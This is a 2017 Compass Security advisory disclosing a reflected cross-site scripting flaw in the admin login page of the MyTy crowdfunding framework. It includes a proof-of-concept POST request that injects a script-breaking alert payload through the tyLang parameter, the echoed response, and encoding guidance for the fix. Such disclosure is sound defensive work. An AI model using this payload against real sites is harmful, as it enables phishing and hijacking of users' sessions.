CSNC-2017-030 MyTy Reflected Cross-Site Scripting (XSS)

From: Advisories <advisories@compass-security.com>
To: bugtraq@securityfocus.com <bugtraq@securityfocus.com>,bugs@securitytracker.com <bugs@securitytracker.com>
Cc:
Subject: CSNC-2017-030 MyTy Reflected Cross-Site Scripting (XSS)
Date:


#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  MyTy
# Vendor:   Finlane GmbH
# CSNC ID:  CSNC-2017-030
# CVE ID:   -
# Subject:  Reflected Cross-Site Scripting (XSS)
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Nicolas Heiniger <nicolas.heiniger@compass-security.com>
# Date:     21.11.2017
#
#############################################################

Introduction:
-------------
MyTy[1] is a software framework that includes a crowdfunding module. It can be
installed on a customer server and used to create whitelabel websites for
crowdfunding platforms.

Compass Security discovered a web application security flaw in the login page of
 the administration web console that allows an unauthenticated attacker to
 execute JavaScript code in the browser of a legitimate user. This allows, for
 instance, to redirect the user to a phishing page and gather credentials.


Affected:
---------
Vulnerable:
 * MyTy 5.1.0 to 5.1.7


Technical Description
---------------------
In the login page of the administration console, a tyLang parameter is passed
together with the user and the password in the login request. This parameter is
then included unencoded in the HTTP response.

The login request for a proof of concept is as follows:
===============
POST /tycon/index.php HTTP/1.1
Host: [CUT BY COMPASS]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: [CUT BY COMPASS]
Cookie: tyFl=de_de; XSRF-TOKEN=ZNc%2FZRg4sCgXP0g3IZZ8QxsO7caLshyKp7u75yiyW5o%3D;
 lang=de; PHPSESSID=b4pcsacfvpv716e3l825cqbuo3; tyBl=en_us; cfce=1;
 _ga=GA1.2.75537659.1504612703; cf_cookie_policy_read=1;
 _gid=GA1.2.1498092563.1504761922
CSNC-HEN: Pentest1-Blue
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

view=default&fromTopic=&tyLang=de"</script><script>alert(1)</script>
&seleted_user_id=0&seleted_user_hash=&name=admin&password=123456
===============

The HTTP response shows that the payload is returned unencoded in the HTML page:
===============
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 07 Sep 2017 06:52:05 GMT
Content-Type: text/html; charset=utf-8

[CUT BY COMPASS]

<!DOCTYPE HTML>
<html>
        <head>
                <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
                <meta name="robots" content="noindex,nofollow">
                <base target="_top"/>
                <title>myty-Login | myty 5.1.7/2017-09-06</title>
                <meta name="viewport" content="width=device-width, initial-scale=1.0,
                minimum-scale=1.0"/>
                <!-- Adding "maximum-scale=1" fixes the Mobile Safari auto-zoom bug:
                http://filamentgroup.com/examples/iosScaleBug/ -->
                <link href="/tycon/themes/spring/styles/defaultlogin.css"
                rel="stylesheet" type="text/css"/>
                <!--[if gte IE 9]>
                <style type="text/css">
                .gradient {filter: none;}
                </style>
                <![endif]-->
                <script src="/3rdParty/bower_components/jquery/dist/jquery.min.js">
                </script>
                <script type="text/javascript">var myty = {
        version: '5.1.7',
        revision: 5001007,
        backend: {
                basepath: '/tycon',
                language: 'de"</script><script>alert(1)</script>',
                themepath: '/tycon/themes/spring'
        },
[CUT BY COMPASS]
===============


Workaround / Fix:
-----------------
Install an up to date version of the MyTy software.

As a developer:
This issue can be fixed by properly encoding dangerous characters in the output
according to the encoding rules of the respective type of context (HTML body,
argument, JS string, generated URLs). For normal HTML body content, the
following HTML entities can be used:
<    ->    &lt;
>    ->    &gt;
"    ->    &quot;
'    ->    &apos;
&    ->    &amp;


Timeline:
---------
2017-11-21:     Coordinated public disclosure date
2017-09-08:     Release of fix in version 5.1.8
2017-09-08:     Initial vendor response
2017-09-07:     Initial vendor notification
2017-09-07:     Discovery by Nicolas Heiniger


References:
-----------
[1] https://www.finlane.com/loesungen/whitelabel-pages/





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